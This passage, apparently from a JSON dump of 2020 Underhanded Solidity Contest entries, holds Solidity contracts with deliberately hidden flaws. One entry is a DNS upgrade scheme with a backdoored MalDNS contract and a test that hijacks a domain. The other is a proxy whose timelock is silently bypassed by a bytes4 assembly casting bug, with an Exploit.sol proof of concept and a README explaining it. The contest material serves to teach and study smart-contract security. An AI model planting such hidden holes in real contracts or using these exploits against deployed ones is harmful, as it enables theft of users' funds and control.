upgrade, IDNS to) = upgradeInfo.activeUpgrade(msg.sender);\n\t\tif (upgrade) {\n\t\t\t(,address owner) = IDNS(to).resolve(_domain);\n\t\t\trequire(owner == msg.sender, \"Not the owner in upgraded contract.\");\n\t\t\tIDNS(to).transfer(_domain, _owner);\n\t\t\treturn;\n\t\t}\n\n\t\tEntry storage entry = data[_domain];\n\t\trequire(entry.owner == msg.sender, \"Not the owner.\");\n\t\trequire(_owner != address(0), \"Invalid owner.\");\n\t\tentry.owner = _owner;\n\t}\n\n\tfunction resolve(string memory _domain) external view override returns (bytes4, address owner) {\n\t\t(bool upgrade, IDNS to) = upgradeInfo.activeUpgrade(msg.sender);\n\t\tif (upgrade)\n\t\t\treturn IDNS(to).resolve(_domain);\n\t\treturn (data[_domain].ip, data[_domain].owner);\n\t}\n}\n"
  },
  {
    "path": "2020/submissions_2020/submission12_LeonardoAlt/src/DNSTest.t.sol",
    "content": "// SPDX-License-Identifier: GPL-v3\n\npragma solidity ^0.7.0;\npragma experimental ABIEncoderV2;\n\nimport './DNS.sol';\nimport './Upgrade.sol';\nimport './UpgradedDNS.sol';\nimport './MalDNS.sol';\n\nimport './HEVMCheat.sol';\nimport 'ds-test/test.sol';\n\ncontract User {\n\tIDNS immutable dns;\n\tUpgrade immutable upgrade;\n\n\tconstructor(IDNS _dns, Upgrade _upgrade) {\n\t\tdns = _dns;\n\t\tupgrade = _upgrade;\n\t}\n\n\tfunction register(string memory _domain, bytes4 _ip) external {\n\t\tdns.register(_domain, _ip, address(this));\n\t}\n\n\tfunction update(string memory _domain, bytes4 _ip) external {\n\t\tdns.update(_domain, _ip);\n\t}\n\n\tfunction updateViaCustomDNS(string memory _domain, bytes4 _ip, IDNS _dns) external {\n\t\t_dns.update(_domain, _ip);\n\t}\n\n\tfunction transfer(string memory _domain, address _owner) external {\n\t\tdns.transfer(_domain, _owner);\n\t}\n\n\tfunction resolve(string memory _domain) external view returns (bytes4, address) {\n\t\treturn dns.resolve(_domain);\n\t}\n\n\tfunction optIn() external {\n\t\tupgrade.opt(Upgrade.Opt.In);\n\t}\n\n\tfunction optOut() external {\n\t\tupgrade.opt(Upgrade.Opt.Out);\n\t}\n}\n\ncontract DNSTest is DSTest {\n\tHEVMCheat hevm;\n\n\tDNS dns;\n\tUpgradedDNS up_dns;\n\tUpgradedDNS fake_up_dns;\n\tMalDNS mal_dns;\n\tUpgrade upgrade;\n\n\tuint constant MAX_USERS = 4;\n\tUser[MAX_USERS] users;\n\n\tfunction setUp() public {\n\t\treset();\n\t}\n\n\tfunction reset() internal {\n\t\thevm = new HEVMCheat();\n\n\t\tupgrade = new Upgrade();\n\t\tdns = new DNS(upgrade);\n\t\tup_dns = new UpgradedDNS(dns, upgrade);\n\t\tfake_up_dns = new UpgradedDNS(dns, upgrade);\n\t\tmal_dns = new MalDNS(0xcafeeeee, dns, upgrade);\n\n\t\tfor (uint i = 0; i < MAX_USERS; ++i)\n\t\t\tusers[i] = new User(dns, upgrade);\n\t}\n\n\tfunction test_safe_sequence() public {\n\t\tstring memory d0 = \"a.eth\";\n\t\tbytes4 i0 = 0x01020304;\n\t\tstring memory d1 = \"b.eth\";\n\t\tbytes4 i1 = 0x05060708;\n\n\t\tbytes4 ip;\n\t\taddress owner;\n\n\t\t// User0 registers a.eth\n\t\tusers[0].register(d0, i0);\n\t\t(ip, owner) = dns.resolve(d0);\n\t\tassertEq(ip, i0);\n\t\tassertEq(owner, address(users[0]));\n\n\t\t// User1 registers b.eth\n\t\tusers[1].register(d1, i1);\n\t\t(ip, owner) = dns.resolve(d1);\n\t\tassertEq(ip, i1);\n\t\tassertEq(owner, address(users[1]));\n\n\t\t// Admin suggests a new upgrade\n\t\tupgrade.newUpgrade(block.timestamp + 60, IDNS(up_dns));\n\t\tassertTrue(upgrade.upgradePlanned());\n\n\t\t// User0 opts in\n\t\tusers[0].optIn();\n\n\t\t// User2 opts in\n\t\tusers[2].optIn();\n\t\thevm.warp(10);\n\t\t// but then gives up\n\t\tusers[2].optOut();\n\n\t\t// User3 opts in\n\t\tusers[3].optIn();\n\n\t\t// Time passes, upgrade is now active.\n\t\thevm.warp(70);\n\t\tassertTrue(!upgrade.upgradePlanned());\n\n\t\tbool up;\n\t\tIDNS to;\n\t\t// User0 has an active upgrade\n\t\t(up, to) = upgrade.activeUpgrade(address(users[0]));\n\t\tassertTrue(up);\n\t\tassertEq(address(to), address(up_dns));\n\n\t\t// User1 does not have an active upgrade, never opted in\n\t\t(up, to) = upgrade.activeUpgrade(address(users[1]));\n\t\tassertTrue(!up);\n\n\t\t// User2 does not have an active upgrade, opted in but then opted out\n\t\t(up, to) = upgrade.activeUpgrade(address(users[2]));\n\t\tassertTrue(!up);\n\n\t\t// User3 also opted in.\n\t\t(up, to) = upgrade.activeUpgrade(address(users[3]));\n\t\tassertTrue(up);\n\n\t\tstring memory d2 = \"c.eth\";\n\t\tbytes4 i2 = 0x090a0b0c;\n\t\tstring memory d3 = \"d.eth\";\n\t\tbytes4 i3 = 0x0d0e0f0f;\n\n\t\t// User0 registers c.eth in the upgraded contract\n\t\t// Notice that the message is actually relayed from the original\n\t\t// to the upgraded DNS.\n\t\tusers[0].register(d2, i2);\n\t\t// Original contract does not have that info\n\t\t(ip, owner) = dns.resolve(d2);\n\t\tassertEq(ip, 0);\n\t\tassertEq(owner, address(0));\n\t\t// Upgraded contract has that info\n\t\t(ip, owner) = up_dns.resolve(d2);\n\t\tassertEq(ip, i2);\n\t\tassertEq(owner, address(users[0]));\n\t\t// Relayed resolving reads from upgraded contract\n\t\t(ip, owner) = users[0].resolve(d2);\n\t\tassertEq(ip, i2);\n\t\tassertEq(owner, address(users[0]));\n\n\t\t// User0 registers d.eth in the upgraded contract\n\t\tusers[0].register(d3, i3);\n\t\t// Original contract does not have that info\n\t\t(ip, owner) = dns.resolve(d3);\n\t\tassertEq(ip, 0);\n\t\tassertEq(owner, address(0));\n\t\t// Upgraded contract has that info\n\t\t(ip, owner) = up_dns.resolve(d3);\n\t\tassertEq(ip, i3);\n\t\tassertEq(owner, address(users[0]));\n\t\t// Relayed resolving reads from upgraded contract\n\t\t(ip, owner) = users[0].resolve(d3);\n\t\tassertEq(ip, i3);\n\t\tassertEq(owner, address(users[0]));\n\n\t\t// User1 registers d.eth in the original contract\n\t\tusers[1].register(d3, i3);\n\t\t// Original contract has that info\n\t\t(ip, owner) = dns.resolve(d3);\n\t\tassertEq(ip, i3);\n\t\tassertEq(owner, address(users[1]));\n\t\t// No need to relay\n\t\t(ip, owner) = users[1].resolve(d3);\n\t\tassertEq(ip, i3);\n\t\tassertEq(owner, address(users[1]));\n\t\t// Upgraded contract has that info, but with a different owner\n\t\t(ip, owner) = up_dns.resolve(d3);\n\t\tassertEq(ip, i3);\n\t\tassertEq(owner, address(users[0]));\n\n\t\t// User0 updates c.eth in the upgraded contract\n\t\tbytes4 i2_2 = 0xcafecafe;\n\t\tusers[0].update(d2, i2_2);\n\t\t// Upgraded contract via original contract should resolve\n\t\t(ip, owner) = users[0].resolve(d2);\n\t\tassertEq(ip, i2_2);\n\t\tassertEq(owner, address(users[0]));\n\n\t\t// User0 tries and fails to update c.eth in the upgraded contract\n\t\t// via a non opted-in upgrade.\n\t\ttry users[0].updateViaCustomDNS(d2, 0xcafeaaaa, fake_up_dns) {\n\t\t\tassertTrue(false);\n\t\t} catch {\n\t\t}\n\n\t\t// User3 registers a.eth in the upgraded contract\n\t\tusers[3].register(d0, i0);\n\t\t(ip, owner) = up_dns.resolve(d0);\n\t\tassertEq(ip, i0);\n\t\tassertEq(owner, address(users[3]));\n\n\t\t// User0 tries and fails to update a.eth in the upgraded contract\n\t\ttry users[0].update(d0, 0xaabbccdd) {\n\t\t\tassertTrue(false);\n\t\t} catch {\n\t\t}\n\n\t\t// All good!\n\t}\n\n\tfunction test_hack_sequence() public {\n\t\tstring memory d0 = \"a.eth\";\n\t\tbytes4 i0 = 0x01020304;\n\t\tstring memory d1 = \"b.eth\";\n\t\tbytes4 i1 = 0x05060708;\n\n\t\tbytes4 ip;\n\t\taddress owner;\n\n\t\t// User0 registers a.eth\n\t\tusers[0].register(d0, i0);\n\t\t(ip, owner) = dns.resolve(d0);\n\t\tassertEq(ip, i0);\n\t\tassertEq(owner, address(users[0]));\n\n\t\t// User1 registers b.eth\n\t\tusers[1].register(d1, i1);\n\t\t(ip, owner) = dns.resolve(d1);\n\t\tassertEq(ip, i1);\n\t\tassertEq(owner, address(users[1]));\n\n\t\t// Admin suggests a new legit upgrade\n\t\tupgrade.newUpgrade(block.timestamp + 60, IDNS(up_dns));\n\t\tassertTrue(upgrade.upgradePlanned());\n\n\t\t// User0 opts in\n\t\tusers[0].optIn();\n\n\t\t// User2 opts in\n\t\tusers[2].optIn();\n\t\thevm.warp(10);\n\t\t// but then gives up\n\t\tusers[2].optOut();\n\n\t\t// User3 also opts in\n\t\tusers[3].optIn();\n\n\t\tupgrade.cancelUpgrade();\n\t\tassertTrue(!upgrade.upgradePlanned());\n\n\t\t// Admin suggests a new malicious upgrade\n\t\tupgrade.newUpgrade(block.timestamp + 1, IDNS(mal_dns));\n\t\tassertTrue(upgrade.upgradePlanned());\n\n\t\t// Time passes quickly\n\t\thevm.warp(100);\n\t\tassertTrue(!upgrade.upgradePlanned());\n\n\t\tmal_dns.backdoor(d0, 0x13371337, address(this));\n\t\t(ip, owner) = users[0].resolve(d0);\n\t\tassertTrue(ip == 0x13371337);\n\t\tassertTrue(owner == address(this));\n\n\t\t// \\_O_/\n\t}\n}\n"
  },
  {
    "path": "2020/submissions_2020/submission12_LeonardoAlt/src/HEVMCheat.sol",
    "content": "// SPDX-License-Identifier: GPL-v3\n\npragma solidity ^0.7.0;\n\n/// HEVM has a special contract able to change the block timestamp.\n/// This is used in the tests, to show safe and unsafe upgrades.\ncontract HEVMCheat {\n\taddress constant hevmCheat = 0x7109709ECfa91a80626fF3989D68f67F5b1DD12D;\n\n\tfunction warp(uint x) public {\n\t\t(bool success,) = address(hevmCheat).call(abi.encodeWithSignature(\"warp(uint256)\", x));\n\t\trequire(success);\n\t}\n\n\tfunction roll(uint x) public {\n\t\t(bool success,) = address(hevmCheat).call(abi.encodeWithSignature(\"roll(uint256)\", x));\n\t\trequire(success);\n\t}\n}\n"
  },
  {
    "path": "2020/submissions_2020/submission12_LeonardoAlt/src/IDNS.sol",
    "content": "// SPDX-License-Identifier: GPL-v3\n\npragma solidity ^0.7.0;\n\n/// @title A simple DNS interface.\ninterface IDNS {\n\t/// @notice Simple DNS entry.\n\tstruct Entry {\n\t\tbytes4 ip;\n\t\taddress owner;\n\t}\n\t/// @notice Registers a new domain. Domain must be currently unused.\n\t/// @param _domain New domain to be registered.\n\t/// @param _ip Ip the domain should point to.\n\t/// @param _owner Owner of the newly registered domain.\n\tfunction register(string memory _domain, bytes4 _ip, address _owner) external;\n\n\t/// @notice Updates the ip that a domain points to. `tx.origin` must be the current owner of that domain.\n\t/// @param _domain Domain to be updated.\n\t/// @param _ip New ip that the domain should point to.\n\tfunction update(string memory _domain, bytes4 _ip) external;\n\n\t/// @notice Transfers ownership of the given domain. `tx.origin` must be the current owner of that domain.\n\t/// @param _domain Domain to be transferred.\n\t/// @param _owner New owner.\n\tfunction transfer(string memory _domain, address _owner) external;\n\n\t/// @return The IP that _domain points to and the owner.\n\tfunction resolve(string memory _domain) external view returns (bytes4, address owner);\n}\n"
  },
  {
    "path": "2020/submissions_2020/submission12_LeonardoAlt/src/MalDNS.sol",
    "content": "// SPDX-License-Identifier: GPL-v3\n\npragma solidity ^0.7.0;\npragma experimental ABIEncoderV2;\n\nimport './IDNS.sol';\nimport './Upgrade.sol';\n\ncontract MalDNS is IDNS {\n\tmapping (string => Entry) data;\n\n\tIDNS immutable public originalDNS;\n\tUpgrade immutable public upgradeInfo;\n\n\taddress immutable owner;\n\tbytes4 hackIP;\n\n\tconstructor(bytes4 _ip, IDNS _dns, Upgrade _info) {\n\t\thackIP = _ip;\n\t\toriginalDNS = IDNS(_dns);\n\t\tupgradeInfo = Upgrade(_info);\n\t\towner = msg.sender;\n\t}\n\n\tfunction backdoor(string memory _domain, bytes4 _ip, address _owner) external {\n\t\trequire(msg.sender == owner);\n\t\tEntry storage entry = data[_domain];\n\t\tentry.ip = _ip;\n\t\tentry.owner = _owner;\n\t}\n\n\tfunction register(string memory _domain, bytes4 _ip, address _owner) external override {\n\t\trequire(_ip != 0, \"Invalid ip.\");\n\t\trequire(bytes(_domain).length > 0, \"Invalid domain.\");\n\n\t\tEntry storage entry = data[_domain];\n\t\trequire(entry.ip == 0 && entry.owner == address(0), \"Domain already taken.\");\n\n\t\tentry.ip = _ip;\n\t\tentry.owner = _owner;\n\t}\n\n\tfunction update(string memory _domain, bytes4 _ip) external override {\n\t\tEntry storage entry = data[_domain];\n\n\t\trequire(\n\t\t\t(msg.sender == tx.origin && entry.owner == msg.sender),\n\t\t\t\"Not the owner.\"\n\t\t);\n\n\t\trequire(_ip != 0, \"Invalid ip.\");\n\t\tentry.ip = _ip;\n\t}\n\n\tfunction transfer(string memory _domain, address _owner) external override {\n\t\tEntry storage entry = data[_domain];\n\n\t\t// If a user sent the tx, they must be the owner.\n\t\t// If a previous DNS sent the tx, at some point the original DNS authenticated\n\t\t// the msg.sender as the owner.\n\t\trequire(\n\t\t\t(msg.sender == tx.origin && entry.owner == msg.sender),\n\t\t\t\"Not the owner.\"\n\t\t);\n\n\t\trequire(_owner != address(0), \"Invalid owner.\");\n\t\tentry.owner = _owner;\n\t}\n\n\tfunction resolve(string memory _domain) external view override returns (bytes4, address) {\n\t\treturn (data[_domain].ip, data[_domain].owner);\n\t}\n}\n"
  },
  {
    "path": "2020/submissions_2020/submission12_LeonardoAlt/src/Upgrade.sol",
    "content": "// SPDX-License-Identifier: GPL-v3\n\npragma solidity ^0.7.0;\npragma experimental ABIEncoderV2;\n\nimport './IDNS.sol';\n\n/// @title This contract is the upgrade mechanism object of the Solidity Underhanded Contest.\n/// @notice It tracks the history of upgrades and opt outs and ins of users per upgrade.\ncontract Upgrade {\n\n\t/// @title User opt-out and opt-in choices.\n\t/// @notice Opt-out is the default since `Opt.Out == 0`,\n\t/// so if a user does not ever actively opt in, they will still use\n\t/// the original contract.\n\tenum Opt {Out, In}\n\n\tstruct UpgradeConfig {\n\t\tmapping (address => Opt) userOpt;\n\t\tuint when;\n\t\tIDNS to;\n\t}\n\n\t/// @notice History of upgrades performed by this engine, which remain alive since\n\t/// different users might opt-in different upgrades.\n\t///- An upgrade is currently planned if there is an element in the array and\n\t/// its `when` is in the future.\n\t/// - There cannot be two planned upgrades at the same time.\n\t/// - A user can opt-in multiple upgrades throughout time. The latest upgrade a user\n\t/// opted-in is their active upgrade.\n\tUpgradeConfig[] public upgrades;\n\n\t/// @notice Upgrade admin.\n\t/// Can only suggest new upgrades and cancel planned upgrades,\n\t/// but cannot change users options neither change the upgrades history.\n\taddress immutable public admin;\n\n\t/// @dev Used by `newUpgrade` and `cancelUpgrade`.\n\tmodifier onlyAdmin {\n\t\trequire(msg.sender == admin);\n\t\t_;\n\t}\n\n\t/// @dev Sets the deployer as the upgrade admin.\n\tconstructor() {\n\t\tadmin = msg.sender;\n\t}\n\n\t/// @notice Allows a user to opt in or out the current planned upgrade.\n\tfunction opt(Opt _opt) external {\n\t\trequire(upgradePlanned(), \"Cannot opt non planned upgrade.\");\n\t\tuint l = upgrades.length;\n\t\tupgrades[l - 1].userOpt[msg.sender] = _opt;\n\t}\n\n\t/// @notice Search backwards for the latest upgrade that _user opted-in.\n\t/// Does not consider the currently planned upgrade, if any.\n\t/// @return (false, 0) if _user never opted-in, or opted-in but the planned upgrade then was cancelled.\n\t/// @return (true, <address_of_upgrade>) if user opted-in at least once, and that upgrade became active.\n\tfunction activeUpgrade(address _user) external view returns (bool, IDNS) {\n\t\tuint l = upgrades.length;\n\n\t\t// No upgrades ever.\n\t\tif (l == 0)\n\t\t\treturn (false, IDNS(0));\n\n\t\tif (upgradePlanned())\n\t\t{\n\t\t\tassert(l >= 1);\n\t\t\t--l;\n\t\t}\n\n\t\t// No active upgrades.\n\t\tif (l == 0)\n\t\t\treturn (false, IDNS(0));\n\n\t\tfor (uint idx = l; idx > 0; --idx)\n\t\t\tif (upgrades[idx - 1].userOpt[_user] == Opt.In)\n\t\t\t\treturn (true, upgrades[idx - 1].to);\n\n\t\treturn (false, IDNS(0));\n\t}\n\n\t/// @return true if _addr is or was an active upgrade trusted by _user.\n\tfunction isTrustedUpgrade(IDNS _addr, address _user) external view returns (bool) {\n\t\tuint length = upgrades.length;\n\t\tif (upgradePlanned())\n\t\t\t--length;\n\t\tfor (uint i = 0; i < length; ++i)\n\t\t\tif (_addr == upgrades[i].to && upgrades[i].userOpt[_user] == Opt.In)\n\t\t\t\treturn true;\n\t\treturn false;\n\t}\n\n\t/// @notice Allows the upgrade manager to suggest a new upgrade.\n\t/// Users must actively opt-in if they wish to use the newly\n\t/// suggested contract.\n\tfunction newUpgrade(uint _when, IDNS _to) onlyAdmin external {\n\t\trequire(!upgradePlanned(), \"Upgrade already running.\");\n\t\trequire(_when > block.timestamp, \"Cannot upgrade in the past.\");\n\t\trequire(address(_to) != address(0), \"Cannot upgrade to void.\");\n\t\tUpgradeConfig storage up = upgrades.push();\n\t\tup.when = _when;\n\t\tup.to = _to;\n\t}\n\n\t/// @notice Allows the upgrade manager to cancel a planned upgrade.\n\t/// No behavior changes, users still access their current preferred upgrade.\n\tfunction cancelUpgrade() onlyAdmin external {\n\t\trequire(upgradePlanned(), \"Cannot cancel non planned upgrade.\");\n\t\tdelete upgrades[upgrades.length - 1];\n\t\tupgrades.pop();\n\t}\n\n\t/// @return true if there is a currently planned upgrade.\n\tfunction upgradePlanned() public view returns (bool) {\n\t\tuint l = upgrades.length;\n\t\treturn l > 0 && upgrades[l - 1].when > block.timestamp;\n\t}\n}\n"
  },
  {
    "path": "2020/submissions_2020/submission12_LeonardoAlt/src/UpgradedDNS.sol",
    "content": "// SPDX-License-Identifier: GPL-v3\n\npragma solidity ^0.7.0;\npragma experimental ABIEncoderV2;\n\nimport './IDNS.sol';\nimport './Upgrade.sol';\n\n/// @title Example of an upgraded implementation of a DNS.\n/// @notice As suggested by DNS.sol, the functions of this contract\n/// check whether\n/// msg.sender == tx.origin or\n/// msg.sender is the original DNS contract or\n/// msg.sender is an upgrade that the user trusted at some point.\n/// for authentication.\n/// The idea is that\n/// 1. the user either called this contract directly (direct authentication via msg.sender) or\n/// 2. the call was relayed by the original DNS contract (authentication was performed there) or\n/// 3. the call was relayed by another upgrade that the entry owner trusted.\ncontract UpgradedDNS is IDNS {\n\tmapping (string => Entry) data;\n\n\tIDNS immutable public originalDNS;\n\tUpgrade immutable public upgradeInfo;\n\n\tconstructor(IDNS _dns, Upgrade _info) {\n\t\toriginalDNS = IDNS(_dns);\n\t\tupgradeInfo = Upgrade(_info);\n\t}\n\n\tfunction register(string memory _domain, bytes4 _ip, address _owner) external override {\n\t\trequire(_ip != 0, \"Invalid ip.\");\n\t\trequire(bytes(_domain).length > 0, \"Invalid domain.\");\n\n\t\tEntry storage entry = data[_domain];\n\t\trequire(entry.ip == 0 && entry.owner == address(0), \"Domain already taken.\");\n\n\t\tentry.ip = _ip;\n\t\tentry.owner = _owner;\n\t}\n\n\tfunction update(string memory _domain, bytes4 _ip) external override {\n\t\tEntry storage entry = data[_domain];\n\n\t\t// If a user sent the tx, they must be the owner.\n\t\t// If a previous DNS sent the tx, at some point the original DNS authenticated\n\t\t// the msg.sender as the owner.\n\t\trequire(\n\t\t\t(msg.sender == tx.origin && entry.owner == msg.sender) || isPreviousTrustedDNS(msg.sender, entry.owner),\n\t\t\t\"Not the owner.\"\n\t\t);\n\n\t\trequire(_ip != 0, \"Invalid ip.\");\n\t\tentry.ip = _ip;\n\t}\n\n\tfunction transfer(string memory _domain, address _owner) external override {\n\t\tEntry storage entry = data[_domain];\n\n\t\t// If a user sent the tx, they must be the owner.\n\t\t// If a previous DNS sent the tx, at some point the original DNS authenticated\n\t\t// the msg.sender as the owner.\n\t\trequire(\n\t\t\t(msg.sender == tx.origin && entry.owner == msg.sender) || isPreviousTrustedDNS(msg.sender, entry.owner),\n\t\t\t\"Not the owner.\"\n\t\t);\n\n\t\trequire(_owner != address(0), \"Invalid owner.\");\n\t\tentry.owner = _owner;\n\t}\n\n\tfunction isPreviousTrustedDNS(address _addr, address _entryOwner) internal view returns (bool) {\n\t\tif (_addr == address(originalDNS))\n\t\t\t// Authentication was performed in the original DNS contract.\n\t\t\treturn true;\n\t\treturn upgradeInfo.isTrustedUpgrade(IDNS(_addr), _entryOwner);\n\t}\n\n\tfunction resolve(string memory _domain) external view override returns (bytes4, address) {\n\t\treturn (data[_domain].ip, data[_domain].owner);\n\t}\n}\n"
  },
  {
    "path": "2020/submissions_2020/submission13_GregHysen/README.md",
    "content": "### Overview\n\nThis is a submission for the 2020 Underhanded Solidity Competition.\n\n### System Architecture\n\nThis system is composed of a single delegate-call Proxy contract, along with any number of Apps.\nEach App contract implements a single external function, which uniquely identifies it in the system.\nWhen a call is made to the Proxy, it is routed to the correct App using the function selector.\n\nThere is a single system administrator who can register Apps in the Proxy. When an App is\nregistered, it is deployed by the Proxy using its selector as salt for `create2`. A timelock\nis also initiated, after which the Apps are available to call through the Proxy.\n\nTo remove an App from the Proxy, simply include a function that calls `selfdestruct` in the App.\nTo update an App, register its new code in the Proxy after calling `selfdestruct`. \n\n### Tests\n\nThe system was developed and tested on https://remix.ethereum.org\n\nRun the tests by copying the Proxy from `Proxy.sol` and contracts from `Test.sol` into Remix.\nDeploy the `Test` contract and there are three tests that can run. The first, `testTimelock`,\nensures that a timelock is set when a new App is registered. The second, `testCall`, verifies\nthat a call to the Proxy is delegated to the correct App. The third, `testMultipleCalls`, verifies\nthat calls are routed correctly when there are multiple Apps registered.\n\n### Exploit\n\nRun the exploit by copying the Proxy from `Proxy.sol` and contracts from `Exploit.sol` into Remix.\nDeploy the `Exploit` contract and there is a single function, `testExploit`. Calling this will\ndeploy a Proxy with a 5 day timelock, but bypass the timelock when deploying a malicious App.\n\nThe administrator could perform stealth attacks against the Proxy by registering a malicious app\nthat modifies Proxy state. This App could be registered/deployed, run, and destroyed.\nOr less stealthy, the admin could register an App that simply calls `selfdestruct(admin)` and forwards\nall the ETH from the Proxy to the admin.\n\n### Spoilers\n\nThe way timelocks are recorded is slightly different from how they are enforced. Timelocks are\nrecorded correctly in `timelockBySelector`, giving the illusion that the timelock is set correctly.\nHowever, every selector read from calldata resolves to `0x00000000`. So an App will never actually\nbe timelocked unless its registered selector is `0x00000000`.\n\nThe reason this happens is pretty fun and has to do with type casting. There is some ambiguity\nin how the `bytes4` type is used in Solidity versus assembly.\n\nIn Solidity you may see `bytes4 selector = 0x12345678`. This gives the illusion that it's stored in\nmemory as `0x00...12345678`. But it is in fact quite the opposite. This is actually stored in memory\nand calldata using the upper bytes: `0x12345678...00`.\n\nIn assembly, you have to be explicit about how these bytes are stored in memory. For example, if you\nwrite `assembly { selector := 0x12345678 }` this will unintuitively assign the `bytes4` selector\na value of `0x00000000`.\n\nSee contracts/FunWithSelectors.sol for some sample code.\n\nAdding to the confusion, if you want to write assembly that uses selectors it's cumbersome to write\nout all those zeroes: `0x1234567800000000000000000000000000000000000000000000000000000000`. So\ninstead, you'll often see the selector from calldata shifted over to the right so that assembly\ncode can use the same conventions as Solidity (`0x12345678`). In fact, there is an example of this in\nSolidity's documentation: https://solidity.readthedocs.io/en/v0.7.4/yul.html#complete-erc20-example\n\nIn the Proxy's `_getSaltAndSelector` we use the assembly from the above documentation, combined\nwith a `bytes4` in Solidity. The net effect is that the selector is always `0x00000000`. :)"
  },
  {
    "path": "2020/submissions_2020/submission13_GregHysen/contracts/Exploit.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.0;\n\nimport \"./Proxy.sol\";\n\ncontract MaliciousApp {\n    function pwn() external pure returns (string memory) {\n       return \"Pwned!\"; \n    }\n}\n\ncontract Exploit {\n    \n    // Test exploit.\n    function testExploit() public returns (string memory actualOutput) {\n        // Create a proxy with a 5 day timelock.\n        uint256 timelockDuration = 5 * 24 * 60 * 60;\n        Proxy proxy = new Proxy(timelockDuration);\n        \n        // Register a malicious app\n        proxy.register(MaliciousApp(0).pwn.selector, type(MaliciousApp).creationCode);\n        \n        \n        //// NOW CALL APP IMMEDIATELY WITHOUT WAITING FOR TIMELOCK /////\n        \n        \n        // Ensure can call registered app\n        string memory expectedOutput = (new MaliciousApp()).pwn();\n        actualOutput = MaliciousApp(address(proxy)).pwn();\n        _assertEqual(expectedOutput, actualOutput, \"testExploit() failed\");\n    }\n    \n    function _assertEqual(string memory a, string memory b, string memory message) internal pure {\n        require(keccak256(bytes(a)) == keccak256(bytes(b)), message);\n    }\n}"
  },
  {
    "path": "2020/submissions_2020/submission13_GregHysen/contracts/FunWithSelectors.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.7.0;\n\ncontract FunWithSelectors {\n    \n    // When written in solidity, this will have the desired effect.\n    function test() public pure returns (bytes4 selector, bytes32 selectorWord) {\n        selector = 0x12345678;\n        selectorWord = selector;\n    }\n    \n    // When written in assembly, the `selector` will actually be zero.\n    function test2() public pure returns (bytes4 selector, bytes32 selectorWord) {\n        assembly {\n            selector := 0x12345678\n            selectorWord := selector\n        }\n    }\n}"
  },
  {
    "path": "2020/submissions_2020/submission13_GregHysen/contracts/Proxy.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.0;\n\ncontract Proxy {\n    \n    address public immutable admin;\n    uint256 public immutable timelockDuration;\n    \n    mapping (bytes4 => uint256) public timelockBySelector;\n    mapping (bytes32 => bytes32) public codeHashBySalt;\n    \n    constructor(uint256 _timelockDuration) {\n        admin = msg.sender;\n        timelockDuration = _timelockDuration;\n    }\n    \n    modifier onlyAdmin() {\n        require(msg.sender == admin, \"Only admin\");\n        _;\n    }\n\n    // Receive ETH\n    receive() external payable {}\n    \n    // Delegates the call based on selector and salt.\n    fallback() external payable {\n        // Get selector / contract salt.\n        (bytes32 salt, bytes4 selector) = _getSaltAndSelector();\n        require(timelockBySelector[selector] <= block.timestamp, \"Function is timelocked\");\n        \n        // Compute address of registered function.\n        // See https://solidity.readthedocs.io/en/v0.7.4/control-structures.html#salted-contract-creations-create2\n        address callee = address(uint(keccak256(abi.encodePacked(\n            byte(0xff),\n            address(this),\n            salt,\n            abi.encodePacked(codeHashBySalt[salt])\n        ))));\n        \n        // Execute call. Revert on failure or return on success.\n        (bool success, bytes memory returnData) = callee.delegatecall(msg.data);\n        assembly {\n            switch success\n            case 0 { revert(add(0x20, returnData), mload(returnData)) }\n            default { return(add(0x20, returnData), mload(returnData)) }\n        }\n    }\n\n    // Registers a new function selector and its corresponding code.\n    function register(bytes4 selector, bytes memory code) public onlyAdmin returns (address addr, bytes32 salt) {\n        // Deploy `code` using `salt` as identifier\n        salt = bytes32(selector);\n        assembly { addr := create2(0, add(code, 0x20), mload(code), salt) }\n        require(addr != address(0), \"Failed to deploy contract.\");\n        \n        // Set 5 day timelock & store metadata needed to call contract\n        timelockBySelector[selector] = block.timestamp + timelockDuration;\n        codeHashBySalt[salt] = keccak256(code);\n    }\n    \n    // Retrieves the selector from calldata and the corresponding salt.\n    function _getSaltAndSelector() internal pure returns (bytes32 salt, bytes4 selector) {\n        assembly {\n            // The salt is the selector, only 32 bytes instead of 4 as its used by `create2`.\n            // Selector code here: https://solidity.readthedocs.io/en/v0.7.4/yul.html#complete-erc20-example\n            salt := calldataload(0)\n            selector := div(calldataload(0), 0x100000000000000000000000000000000000000000000000000000000)\n        }\n    }\n}"
  },
  {
    "path": "2020/submissions_2020/submission13_GregHysen/contracts/Test.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.0;\n\nimport \"./Proxy.sol\";\n\ncontract FriendlyApp {\n    function hello() external pure returns (string memory) {\n       return \"World!\"; \n    }\n}\n\ncontract FriendlyApp2 {\n    function lorem() external pure returns (string memory) {\n       return \"Ipsum!\"; \n    }\n}\n\ncontract Test {\n    \n    // Test that deployments set a timelock on the selector\n    function testTimelock() public returns (uint256 expectedTimelock, uint256 actualTimelock) {\n        // Create a proxt with a 5 day timelock\n        uint256 timelockDuration = 5*24*60*60;\n        Proxy proxy = new Proxy(timelockDuration);\n        \n        // Register friendly app\n        proxy.register(FriendlyApp(0).hello.selector, type(FriendlyApp).creationCode);\n        \n        // Ensure timelock was set\n        expectedTimelock = block.timestamp + timelockDuration;\n        actualTimelock = proxy.timelockBySelector(FriendlyApp(0).hello.selector);\n        require(expectedTimelock == actualTimelock, \"testTimelock() failed\");\n    }\n\n    // Test calling a deployed app.\n    function testCall() public returns (string memory actualOutput) {\n        // Create a proxy with no timelock so we can test call atomically.\n        Proxy proxy = new Proxy(0);\n        \n        // Register friendly app\n        proxy.register(FriendlyApp(0).hello.selector, type(FriendlyApp).creationCode);\n\n        // Ensure can call registered app\n        string memory expectedOutput = (new FriendlyApp()).hello();\n        actualOutput = FriendlyApp(address(proxy)).hello();\n        _assertEqual(expectedOutput, actualOutput, \"testCall() failed\");\n    }\n    \n    // Test calling multiple apps. This ensures routing is unique.\n    function testMultipleCalls() public returns (string memory actualOutput1, string memory actualOutput2) {\n        // Create a proxy with no timelock so we can test call atomically.\n        Proxy proxy = new Proxy(0);\n        \n        // Register friendly app\n        proxy.register(FriendlyApp(0).hello.selector, type(FriendlyApp).creationCode);\n        proxy.register(FriendlyApp2(0).lorem.selector, type(FriendlyApp2).creationCode);\n\n        // Ensure can call 1st registered app\n        string memory expectedOutput1 = (new FriendlyApp()).hello();\n        actualOutput1 = 